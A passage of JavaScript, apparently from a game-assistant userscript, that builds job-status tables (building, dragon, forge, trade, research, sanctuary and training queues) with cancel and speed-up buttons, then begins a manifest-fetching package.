									iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
									if (!jobsTD[0].cancelled && Data.options.jobs_speedups_enabled)
										Jobs.addSpeedUpButtons(table, 'tabJobsBuild_speedups_0', 'jobs', cityIdx + '_' + jobsTD[0].id);

									Tabs.Jobs.buildStatFetch = false;
									try {
										document.getElementById(UID['tabJobBuild_FB_' + cityIdx + '_' + jobsTD[0].city_building_type]).innerHTML = '<font color=#000>' + translate('Building') + ': ' + translate(jobsTD[0].city_building_type) + ' ' + translate('Level').toLowerCase() + ' ' + jobsTD[0].level + '</font>';
									} catch (e) {}
								}
								iRow = table.insertRow(-1);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '&nbsp;';
							}
						}
					}
				}
				for (var cityIdx = 0; cityIdx < idle_cities.length; ++cityIdx) {
					if (Seed.cities[idle_cities[cityIdx]]) {
						var city = Seed.cities[idle_cities[cityIdx]];
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
						iCell = iRow.insertCell(-1);
						iCell.innerHTML = translate('Idle');
					}
				}
			},
			updateDragonTable: function(table) {
				var now = toNum(serverTime()),
					idle_cities = [];
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						var options = {
							noPlayer: true,
							cities: []
						};
						var city = Seed.cities[cityIdx];
						var jobs = Jobs.getJobs('dragon', true, cityIdx);
						
						if(jobs.length != 0) {
							var iRow, iCell;
							iRow = table.insertRow(-1);
							iRow.className = mtClass;
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'left';
							iCell.style.width = '20%';
							iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
							var timeRemaining = ((jobs[0].run_at - serverTime()) > 0) ? timestr(jobs[0].run_at - serverTime()) : 0;
							if (timeRemaining == 0) {
								/*  If we have a job and the timeRemaining is negative or zero we delete the job
							and fetch the Seed - although this does not always work because the server
							is laggy and may not return the correct information */
								iCell = iRow.insertCell(-1);
								iCell.setAttribute('colspan', '3');
								iCell.innerHTML = translate('Awaiting task completion notification') + '...';
								Jobs.deleteJob(cityIdx, jobs[0]);
								if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
								options.cities.push(city.id);
								Seed.fetchPlayer(options);
							} else {
								iRow.setAttribute('ref', cityIdx + '_' + jobs[0].id);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '35%';
								iCell.innerHTML = translate('Dragon') + ' ' + translate('Healing');
								/* Building cancel Button */
								iCell = iRow.insertCell(-1);
								iCell.style.width = '10%';
								/*var button = document.createElement('input');
								button.type = 'button';
								button.setAttribute('ref', cityIdx + '_' + jobs[0].id);
								button.value = 'X';
								if (jobs[0].cancelled) {
									button.disabled = true;
									button.className = UID['btn_disabled'] + ' thin';
								} else {
									button.className = UID['btn_red'] + ' thin';
									button.addEventListener('click', function(event) {
										var self = event.target;
										self.disabled = true;
										self.className = UID['btn_disabled'] + ' thin';
										var ids = self.getAttribute('ref').split('_');
										var job = Seed.jobs[Seed.cities[ids[0]].id][ids[1]];
										if (job) {
											job.cancelled = true;
											var desc = translate(job.city_building_type) + ' ' + job.level;
											MyAjax.cancelTraining(ids[1], function(r) {
												if (r.ok && r.dat.result.success) {
													verboseLog(translate('Building job cancelled') + ' (' + desc + ')');
												}
											});
										}
									}, false);
								}
								iCell.appendChild(button);*/
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '25%';
								iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
								if (!jobs[0].cancelled && Data.options.jobs_speedups_enabled)
									Jobs.addSpeedUpButtons(table, 'tabJobsDragon_speedups_0', 'jobs', cityIdx + '_' + jobs[0].id);

								//Tabs.Jobs.buildStatFetch = false;
								try {
									//document.getElementById(UID['tabJobDragon_FB_' + cityIdx + '_' + jobs[0].city_building_type]).innerHTML = '<font color=#000>' + translate('Building') + ': ' + translate(jobs[0].city_building_type) + ' ' + translate('Level').toLowerCase() + ' ' + jobs[0].level + '</font>';
								} catch (e) {}
							}
							iRow = table.insertRow(-1);
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'left';
							iCell.style.width = '20%';
							iCell.innerHTML = '&nbsp;';
						}
					}
				}
				for (var cityIdx = 0; cityIdx < idle_cities.length; ++cityIdx) {
					if (Seed.cities[idle_cities[cityIdx]]) {
						var city = Seed.cities[idle_cities[cityIdx]];
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
						iCell = iRow.insertCell(-1);
						iCell.innerHTML = translate('Idle');
					}
				}
			},
			updateForgeTable: function(table) {
				var now = toNum(serverTime()),
					idle_cities = [];
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				var cityIdx = 0;
					if (Seed.cities[cityIdx]) {
						var options = {
							noPlayer: true,
							cities: []
						};
						var city = Seed.cities[cityIdx];
						var jobs = Jobs.getForgeJob(cityIdx);
						
						if(jobs.length != 0) {
							for(var nbT = 0 ; nbT < jobs.length ; nbT++) {
								var iRow, iCell;
								var current_mission = '';
								var advName = '';
								if(jobs[nbT].queue != 'repair_hammer') {
									for(var adv in Forge.data.adventurers) {
										if(jobs[nbT].queue == Forge.data.adventurers[adv].queue) {
											for(var advP=0;advP<Seed.player.forge.adventurers.length;advP++) {
												if(Seed.player.forge.adventurers[advP].type == Forge.data.adventurers[adv].type) {
													current_mission = translate('mission-'+Seed.player.forge.adventurers[advP].current_mission.replace(/_/g, "-"));
													advName = translate('adventurer-'+Seed.player.forge.adventurers[advP].type.toLowerCase());
													break;
												}
											}
											break;
										}
									}
								}
								iRow = table.insertRow(-1);
								iRow.className = mtClass;
								iRow.title = '';
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
								var timeRemaining = ((jobs[nbT].run_at - serverTime()) > 0) ? timestr(jobs[nbT].run_at - serverTime()) : 0;
								if (timeRemaining == 0) {
									iCell = iRow.insertCell(-1);
									iCell.setAttribute('colspan', '3');
									iCell.innerHTML = translate('Awaiting task completion notification') + '...';
									Jobs.deleteJob(cityIdx, jobs[nbT]);
									if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
									options.cities.push(city.id);
									Seed.fetchPlayer(options);
								} else {
									iRow.setAttribute('ref', cityIdx + '_' + jobs[nbT].id);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '35%';
									var adventurer = advName;
									if(jobs[nbT].queue == 'repair_hammer') {
										iCell.innerHTML = translateByKey('forge', null, 'dialogs') + ' - ' + translate('forge-repair-hammer');
									} else {
										iCell.innerHTML = translateByKey('forge', null, 'dialogs') + ' - ' + adventurer + ' - ' + current_mission;
									}
									iCell = iRow.insertCell(-1);
									iCell.style.width = '10%';
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '25%';
									iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
									if (!jobs[nbT].cancelled && Data.options.jobs_speedups_enabled)
										Jobs.addSpeedUpButtons(table, 'tabJobsForge_speedups_0', 'jobs', cityIdx + '_' + jobs[nbT].id);
								}
							}
						}
					}
				
				for (var cityIdx = 0; cityIdx < idle_cities.length; ++cityIdx) {
					if (Seed.cities[idle_cities[cityIdx]]) {
						var city = Seed.cities[idle_cities[cityIdx]];
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
						iCell = iRow.insertCell(-1);
						iCell.innerHTML = translate('Idle');
					}
				}
			},
			updateTradeTable: function(table) {
				var now = toNum(serverTime()),
					idle_cities = [];
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx]) {
						var options = {
							noPlayer: true,
							cities: []
						};
						var city = Seed.cities[cityIdx];
						var jobs = Jobs.getJobs('trade', true, cityIdx);
						
						if(jobs.length != 0) {
							for(var nbT = 0 ; nbT < jobs.length ; nbT++) {
								var iRow, iCell;
								iRow = table.insertRow(-1);
								iRow.className = mtClass;
								iRow.title = numf(jobs[nbT].offer.units, ' ') + ' ' + translate(jobs[nbT].offer.product) + ' ' + translate('for') + ' ' + numf(jobs[nbT].offer.price, ' ') + ' ' + translate('gold') + ' ' + translate('from') + ' ' + jobs[nbT].offer.seller.name + '(' + numf(jobs[nbT].offer.seller.might, ' ') + ')' + ' / ' + (jobs[nbT].offer.seller.alliance.name == '' ? '---' : jobs[nbT].offer.seller.alliance.name ) + '(' + (jobs[nbT].offer.seller.alliance.role == '' ? '---' : translate(jobs[nbT].offer.seller.alliance.role)) + ')';
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
								var timeRemaining = ((jobs[0].run_at - serverTime()) > 0) ? timestr(jobs[0].run_at - serverTime()) : 0;
								if (timeRemaining == 0) {
									iCell = iRow.insertCell(-1);
									iCell.setAttribute('colspan', '3');
									iCell.innerHTML = translate('Awaiting task completion notification') + '...';
									Jobs.deleteJob(cityIdx, jobs[0]);
									if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
									options.cities.push(city.id);
									Seed.fetchPlayer(options);
								} else {
									iRow.setAttribute('ref', cityIdx + '_' + jobs[0].id);
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '35%';
									iCell.innerHTML = translate('trade') + ' - ' + translate('buy');
									iCell = iRow.insertCell(-1);
									iCell.style.width = '10%';
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '25%';
									iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
									if (!jobs[0].cancelled && Data.options.jobs_speedups_enabled)
										Jobs.addSpeedUpButtons(table, 'tabJobsTrade_speedups_0', 'jobs', cityIdx + '_' + jobs[0].id);
								}
								iRow = table.insertRow(-1);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '&nbsp;';
							}
						}
					}
				}
				for (var cityIdx = 0; cityIdx < idle_cities.length; ++cityIdx) {
					if (Seed.cities[idle_cities[cityIdx]]) {
						var city = Seed.cities[idle_cities[cityIdx]];
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
						iCell = iRow.insertCell(-1);
						iCell.innerHTML = translate('Idle');
					}
				}
			},
			updateResearchTable: function(table) {
				var now = toNum(serverTime());
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (!Data.options.Rcheat_enabled && cityIdx != CAPITAL.id) continue;
					if (Seed.cities[cityIdx] && cityIdx >= 0 && cityIdx < Seed.cities.length && cityIdx != SPECTRAL_OUTPOST.id && cityIdx != SKY_OUTPOST.id && cityIdx != CAVE_OUTPOST.id && cityIdx != LUNA_OUTPOST.id && cityIdx != COLOSSUS_OUTPOST.id &&
						Seed.cities[cityIdx].figures.queue_lengths && Seed.cities[cityIdx].figures.queue_lengths['research']) {
						var city = Seed.cities[cityIdx];
						var jobs = Jobs.getJobs('research', true, cityIdx);
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? city.name : translate(city.name)) + '</b>';
						if (jobs.length == 0) {
							iCell = iRow.insertCell(-1);
							iCell.innerHTML = translate('Idle');
						} else {
							var timeRemaining = ((jobs[0].run_at - serverTime()) > 0) ? timestr(jobs[0].run_at - serverTime()) : 0;
							if (timeRemaining == 0) {
								iCell = iRow.insertCell(-1);
								iCell.setAttribute('colspan', '3');
								iCell.innerHTML = translate('Awaiting task completion notification') + '...';
								Jobs.deleteJob(cityIdx, jobs[0]);
								if (Tabs.Jobs.resStatFetch == false) {
									if (cityIdx != 0) options.cities.push(Seed.cities[CAPITAL.id].id);
									options.cities.push(city.id);
									Seed.fetchPlayer(options);
									Tabs.Jobs.resStatFetch = true;
								}
							} else {
								iRow.setAttribute('ref', cityIdx + '_' + jobs[0].id);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '35%';
								iCell.innerHTML = '<b>' + translate('Researching') + ':</b> &nbsp;&nbsp;' + translate(Tabs.Jobs.resUITranslate(jobs[0].research_type)) + '  (' + jobs[0].level + ')';
								/* Researching cancel Button */
								iCell = iRow.insertCell(-1);
								iCell.style.width = '10%';
								var button = document.createElement('input');
								button.type = 'button';
								button.setAttribute('ref', cityIdx + '_' + jobs[0].id);
								button.value = 'X';
								if (jobs[0].cancelled) {
									button.disabled = true;
									button.className = UID['btn_disabled'] + ' thin';
								} else {
									button.className = UID['btn_red'] + ' thin';
									button.addEventListener('click', function(event) {
										var self = event.target;
										self.disabled = true;
										self.className = UID['btn_disabled'] + ' thin';
										var ids = self.getAttribute('ref').split('_');
										var job = Seed.jobs[Seed.cities[ids[0]].id][ids[1]];
										if (job) {
											job.cancelled = true;
											var desc = translate(Tabs.Jobs.resUITranslate(job.research_type)) + ' ' + job.level;
											MyAjax.cancelTraining(ids[1], function(r) {
												if (r.ok && r.dat.result.success) {
													verboseLog(translate('Research job cancelled') + ' (' + desc + ')');
												}
											});
										}
									}, false);
								}
								iCell.appendChild(button);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '25%';
								iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timeRemaining + '</font>';
								if (!jobs[0].cancelled && Data.options.jobs_speedups_enabled)
									Jobs.addSpeedUpButtons(table, 'tabJobsResearch_speedups_0', 'jobs', cityIdx + '_' + jobs[0].id);

								Tabs.Jobs.resStatFetch = false;
								try {
									document.getElementById(UID['tabJobResearch_FB_' + jobs[0].research_type]).innerHTML = '<font color=#000>' + translate('Researching') + ': ' + translate(Tabs.Jobs.resUITranslate(job[0].research_type)) + ' ' + translate('Level').toLowerCase() + ' ' + jobs[0].level + '</font>';
								} catch (e) {}
							}
							iRow = table.insertRow(-1);
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'left';
							iCell.style.width = '20%';
							iCell.innerHTML = '&nbsp;';
						}
					}
				}
			},
			updateSanctuaryTable: function(table) {
				var now = toNum(serverTime());
				var mtClass = UID['row_marchMine'];

				function addJobTable(type) {
					var last = serverTime();
					var trains = [];
					var cityBreeding = [];

					if (type == 'breeding') {
						for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
							var jobs = (Seed.cities[cityIdx] ? Seed.cities[cityIdx].jobs : []);
							for (var j = 0; j < jobs.length; j++) {
								if (jobs[j].queue == 'breeding' && jobs[j].male_id && jobs[j].female_id && jobs[j].run_at > last) {
									trains.push(jobs[j]);
									cityBreeding.push(cityIdx)
								}
							}
						}
					} else {
						var cityIdx = CAPITAL.id;
						var jobs = Seed.cities[cityIdx].jobs;
						for (var j = 0; j < jobs.length; j++) {
							if (type == 'hatching' && jobs[j].queue == 'hatching' && jobs[j].egg_id && jobs[j].run_at > last) trains.push(jobs[j]);
							if (type == 'feeding' && jobs[j].queue == 'feeding' && jobs[j].dragon_id && jobs[j].run_at > last) trains.push(jobs[j]);
						}
					}
					var iRow, iCell;
					iRow = table.insertRow(-1);
					iRow.className = mtClass;
					iCell = iRow.insertCell(-1);
					iCell.style.textAlign = 'left';
					iCell.style.width = '20%';
					if (type == 'breeding')
						iCell.innerHTML = '<b>' + translate('breeding-dragon') + '</b>';
					else if (type == 'hatching')
						iCell.innerHTML = '<b>' + translate('hatching-egg') + '</b>';
					else if (type == 'feeding')
						iCell.innerHTML = '<b>' + translate('upgrading-dragon') + '</b>';
					else iCell.innerHTML = '<b>' + translate('Unknown') + '</b>';

					if (trains.length == 0) {
						iCell = iRow.insertCell(-1);
						iCell.innerHTML = translate('Idle');
					} else {
						trains.sort(function(a, b) {
							return a.run_at - b.run_at;
						});
						var totTime=0;
						for (var j = 0; j < trains.length; j++) {
							var time_remaining;
							// Oeuf en couveuse ? alors tous entrain de se faire et non pas à la queue leu leu
							if (type == 'hatching') {
								totTime += ((trains[j].run_at - last > 0) ? trains[j].run_at - last : 0);
							} else {
								time_remaining = (j == 0 ? ((trains[j].run_at - last > 0) ? trains[j].run_at - last : 0) : trains[j].duration);
							}
							
							var tot = '';
							if (j != 0) {
								iRow = table.insertRow(-1);
								iRow.className = mtClass;
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '20%';
								iCell.innerHTML = '&nbsp;';
							}
							iRow.setAttribute('ref', cityIdx + '_' + trains[j].id);
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'left';
							iCell.style.width = '35%';
							if (type == 'breeding') {
								var male = '',
									female = '';
								if (!Seed.sanctuary_dragons[trains[j].male_id]) {
									verboseLog('Error: Inexisting dragon ' + trains[j].male_id);
									male = trains[j].male_id;
								} else {
									male = translateByKey(Seed.sanctuary_dragons[trains[j].male_id].subtype, 'rank-' + Seed.sanctuary_dragons[trains[j].male_id].type, 'dragons');
								}
								if (!Seed.sanctuary_dragons[trains[j].female_id]) {
									verboseLog('Error: Inexisting dragon ' + trains[j].female_id);
									female = trains[j].female_id;
								} else {
									female = translateByKey(Seed.sanctuary_dragons[trains[j].female_id].subtype, 'rank-' + Seed.sanctuary_dragons[trains[j].female_id].type, 'dragons');
								}
								iCell.innerHTML = male + ' + ' + female;
							} else if (type == 'hatching') {
								var egg = '';
								if (!Seed.sanctuary_dragons[trains[j].egg_id]) {
									verboseLog('Error: Inexisting dragon ' + trains[j].egg_id);
									egg = trains[j].egg_id;
								} else {
									egg = translateByKey(Seed.sanctuary_dragons[trains[j].egg_id].subtype, 'rank-' + Seed.sanctuary_dragons[trains[j].egg_id].type, 'dragons');
								}
								iCell.innerHTML = egg;
							} else if (type == 'feeding') {
								var dragon = '';
								if (!Seed.sanctuary_dragons[trains[j].dragon_id]) {
									verboseLog('Error: Inexisting dragon ' + trains[j].dragon_id);
									dragon = trains[j].dragon_id;
								} else {
									dragon = translateByKey(Seed.sanctuary_dragons[trains[j].dragon_id].subtype, 'rank-' + Seed.sanctuary_dragons[trains[j].dragon_id].type, 'dragons') + '&nbsp;(' + (Seed.sanctuary_dragons[trains[j].dragon_id].level+1) + ')';
								}
								iCell.innerHTML = dragon;
							}
							/* Training cancel Button */
							iCell = iRow.insertCell(-1);
							iCell.style.width = '10%';
							var button = document.createElement('input');
							button.type = 'button';
							if (type == 'breeding')
								button.setAttribute('ref', cityBreeding[j] + '_' + trains[j].id);
							else
								button.setAttribute('ref', cityIdx + '_' + trains[j].id);
							button.value = 'X';
							if (trains[j].cancelled) {
								button.disabled = true;
								button.className = UID['btn_disabled'] + ' thin';
							} else {
								button.className = UID['btn_red'] + ' thin';
								button.addEventListener('click', function(event) {
									var self = event.target;
									self.disabled = true;
									self.className = UID['btn_disabled'] + ' thin';
									var ids = self.getAttribute('ref').split('_');
									var found = false;
									var jobs = Seed.cities[ids[0]].jobs;
									for (var x = 0; x < jobs.length && !found; x++) {
										if (jobs[x].id == ids[1]) {
											found = true;
											jobs[x].cancelled = true;
											var desc = translate('breeding-cancel-complete');
											MyAjax.cancelTraining(ids[1], function(r) {
												if (r.ok && r.dat.result.success) {
													verboseLog(desc);
													Seed.fetchPlayer({
														noPlayer: true,
														cities: [],
														jobs: true,
														dragons: true
													});
												}
											});
										}
									}
								}, false);
							}
							iCell.appendChild(button);
							iCell = iRow.insertCell(-1);
							iCell.style.textAlign = 'left';
							iCell.style.width = '35%';
							iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timestr((type == 'hatching' ? totTime : time_remaining), true) + '</font>';
							last = trains[j].run_at;
							if (j == 0 && !trains[j].cancelled && Data.options.jobs_speedups_enabled) {
								if (type == 'breeding')
									Jobs.addSpeedUpButtons(table, 'tabJobsSanct_speedups_' + j, 'jobs', cityBreeding[j] + '_' + trains[j].id);
								else
									Jobs.addSpeedUpButtons(table, 'tabJobsSanct_speedups_' + j, 'jobs', cityIdx + '_' + trains[j].id);
							}
						}
					}
					iRow = table.insertRow(-1);
					iCell = iRow.insertCell(-1);
					iCell.style.textAlign = 'left';
					iCell.style.width = '20%';
					iCell.innerHTML = '&nbsp;';
				}
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				addJobTable('breeding');
				addJobTable('hatching');
				addJobTable('feeding');
			},
			updateTrainTable: function(table, type, resurrect) {
				var now = toNum(serverTime());
				var mtClass = UID['row_marchMine'];
				/* Clear table */
				for (var row = 0; row < table.rows.length; row++) {
					table.deleteRow(row);
					row--;
				}
				for (var cityIdx = 0; cityIdx < Seed.cities.length; ++cityIdx) {
					if (Seed.cities[cityIdx] && Seed.cities[cityIdx].jobs && cityIdx != SKY_OUTPOST.id && cityIdx != LUNA_OUTPOST.id  && ((cityIdx != SPECTRAL_OUTPOST.id && !resurrect) || (cityIdx == SPECTRAL_OUTPOST.id && resurrect))) {
						var jobs = Seed.cities[cityIdx].jobs;
						var last = serverTime();
						var trains = [];
						for (var j = 0; j < jobs.length; j++) {
							if (type == 'units' && jobs[j].queue == 'units' && jobs[j].unit_type && jobs[j].run_at > last && !resurrect) trains.push(jobs[j]);
							if (type == 'resurrection' && jobs[j].queue == 'resurrection' && jobs[j].unit_type && jobs[j].run_at > last && resurrect) trains.push(jobs[j]);
						}
						var iRow, iCell;
						iRow = table.insertRow(-1);
						iRow.className = mtClass;
						iCell = iRow.insertCell(-1);
						iCell.style.textAlign = 'left';
						iCell.style.width = '20%';
						iCell.innerHTML = '<b>' + ((cityIdx == CAPITAL.id) ? Seed.cities[cityIdx].name : translate(Seed.cities[cityIdx].name)) + '</b>';

						if (trains.length == 0) {
							iCell = iRow.insertCell(-1);
							iCell.innerHTML = translate('Idle');
						} else {
							trains.sort(function(a, b) {
								return a.run_at - b.run_at;
							});
							var timeTot = 0;
							for (var j = 0; j < trains.length; j++) {
								var time_remaining = (j == 0 ? ((trains[j].run_at - last > 0) ? trains[j].run_at - last : 0) : trains[j].duration);
								timeTot = timeTot + time_remaining;
								var tot = '';
								if (j != 0) {
									iRow = table.insertRow(-1);
									iRow.className = mtClass;
									iCell = iRow.insertCell(-1);
									iCell.style.textAlign = 'left';
									iCell.style.width = '20%';
									iCell.innerHTML = '&nbsp;';
									if (j == trains.length - 1)
										tot = ' &nbsp <B>(' + timestrShort((trains[j].run_at - serverTime() > 0) ? trains[j].run_at - serverTime() : 0) + ')</b>';
								}
								iRow.setAttribute('ref', cityIdx + '_' + trains[j].id);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '35%';
								iCell.innerHTML = numf(trains[j].quantity, ' ') + ' ' + translate(trains[j].unit_type);
								/* Training cancel Button */
								iCell = iRow.insertCell(-1);
								iCell.style.width = '10%';
								var button = document.createElement('input');
								button.type = 'button';
								button.setAttribute('ref', cityIdx + '_' + trains[j].id);
								button.value = 'X';
								if (trains[j].cancelled) {
									button.disabled = true;
									button.className = UID['btn_disabled'] + ' thin';
								} else {
									button.className = UID['btn_red'] + ' thin';
									button.addEventListener('click', function(event) {

										if (Data.options.jobs_cancel_confirmation) {
											var textConfirm = (resurrect ? translate('Do you want to cancel this resurrection') : translate('Do you want to cancel this training'));
											dialogConfirm(textConfirm + ' ?',
												/* OK */

												function() {

													var self = event.target;
													self.disabled = true;
													self.className = UID['btn_disabled'] + ' thin';
													var ids = self.getAttribute('ref').split('_');
													var found = false;
													var jobs = Seed.cities[ids[0]].jobs;
													for (var x = 0; x < jobs.length && !found; x++) {
														if (jobs[x].id == ids[1]) {
															found = true;
															jobs[x].cancelled = true;
															var desc = numf(jobs[x].quantity, ' ') + ' ' + translate(jobs[x].unit_type);
															MyAjax.cancelTraining(ids[1], function(r) {
																if (r.ok && r.dat.result.success) {
																	verboseLog(translate('Training job cancelled') + ' (' + desc + ')');
																}
															});
														}
													}

												},
												/* Cancel */

												function() {}, true
											);
										} else {

											var self = event.target;
											self.disabled = true;
											self.className = UID['btn_disabled'] + ' thin';
											var ids = self.getAttribute('ref').split('_');
											var found = false;
											var jobs = Seed.cities[ids[0]].jobs;
											for (var x = 0; x < jobs.length && !found; x++) {
												if (jobs[x].id == ids[1]) {
													found = true;
													jobs[x].cancelled = true;
													var desc = numf(jobs[x].quantity, ' ') + ' ' + translate(jobs[x].unit_type);
													MyAjax.cancelTraining(ids[1], function(r) {
														if (r.ok && r.dat.result.success) {
															verboseLog(translate('Training job cancelled') + ' (' + desc + ')');
														}
													});
												}
											}
										}

									}, false);
								}
								iCell.appendChild(button);
								iCell = iRow.insertCell(-1);
								iCell.style.textAlign = 'left';
								iCell.style.width = '35%';
								iCell.innerHTML = '<font color=' + TIMER_COLOR + '>' + timestr(time_remaining, true) + '</font>' + tot;
								last = trains[j].run_at;
								if (j == 0 && !trains[j].cancelled && Data.options.jobs_speedups_enabled)
									Jobs.addSpeedUpButtons(table, 'tabJobsTrain_speedups_' + j, type, cityIdx + '_' + trains[j].id);
							}
						}
						//iRow = table.insertRow(-1);
						//iCell = iRow.insertCell(-1);
						//iCell.style.textAlign = 'left';
						//iCell.style.width = '20%';
						//iCell.innerHTML = '&nbsp;';
					}
				}
			}
		};
		/******************************** Jobs package *******************************/

		/******************************** Manifest package ***************************/
		var Manifest = {
			data: {},

			init: function(callback) {
				Manifest.fetchManifest(function(res) {
					if (res.ok)
						verboseLog(translate('Manifest was Successfully requested from the server'));
					else verboseLog('fetchManifest ' + translate('was returned with a status of') + ' ' + res.ok + ' - ' + res.errmsg);
					if (callback) callback(res);
				});
			},

			fetchManifest: function(callback) {
				var now = new Date().getTime() / 1000;
				var params = {};
				params = MyAjax.addMainParams();
				new MyAjaxRequest('manifest', 'manifest.json', params, function(res) {
					if (res.ok) {
						Manifest.data = res.dat;
						try {
							Manifest.updateManifest();
						} catch (e) {
							res.ok = false;
							res.errmsg = 'fetchManifest when calling updateManifest returned this error: ' + e.toString();
						}
					}
					if (callback) callback(res);
				}, false);
			},

			buildings: {
				byCityType: function(cityType, buildable, order) {
					var buildings = Manifest.data.buildings;
					var i, j, res = [];
					if (!buildable) buildable = 'all';
					if (!cityType) cityType = 'all';

					if (buildings.length > 0) {
						for (i = 0; i < buildings.length; i = i + 1) {
							if (buildings[i].buildable === buildable || buildable.toLowerCase() === 'all') {
								if (buildings[i].city_type.length > 0) {
									for (j = 0; j < buildings[i].city_type.length; j = j + 1) {
										if (buildings[i].city_type[j] === cityType.toLowerCase() || cityType.toLowerCase() === 'all') {
											res[res.length] = buildings[i];
											break;
										}
									}
								}
							}
						}
					}
					if (order) res = Manifest.buildings.sortBy(res, order);
					return res;
				},

				byLocation: function(location, buildable, order) {
					var buildings = Manifest.data.buildings;
					var i, res = [];
					if (!buildable) buildable = 'all';
					if (!location) cityType = 'all';
					if (buildings.length > 0) {
						for (i = 0; i < buildings.length; i = i + 1) {
							if (buildings[i].buildable === buildable || buildable.toLowerCase() === 'all') {
								if (buildings[i].location === location.toLowerCase() || location.toLowerCase() === 'all') {
									res[res.length] = buildings[i];
								}
							}
						}
					}
					if (order) res = Manifest.buildings.sortBy(res, order);
					return res;
				},

				sortBy: function(data, order) {
					var orderBy;
					if (!order) order = {
						alphabetical: 'asc'
					};
					for (orderBy in order) {
						switch (orderBy) {
							case 'alphabetical':
								orderAlphabetical(order[orderBy]);
								break;
							case 'buildable':
								orderBuildable(order[orderBy]);
								break;
							case 'location':
								orderLocation(order[orderBy]);
								break;
						}
					}
					return data;

					function orderAlphabetical(order) {
						if (order.toLowerCase() === 'asc') {
							data.sort(function(a, b) {
								var typeA = a.type.toLowerCase(),
									typeB = b.type.toLowerCase();
								if (typeA < typeB) {
									return -1
								}
								if (typeA > typeB) {
									return 1
								}
								return 0;
							});
						} else if (order.toLowerCase() === 'desc') {
							data.sort(function(a, b) {
								var typeA = a.type.toLowerCase(),
									typeB = b.type.toLowerCase();
								if (typeA > typeB) {
									return -1
								}
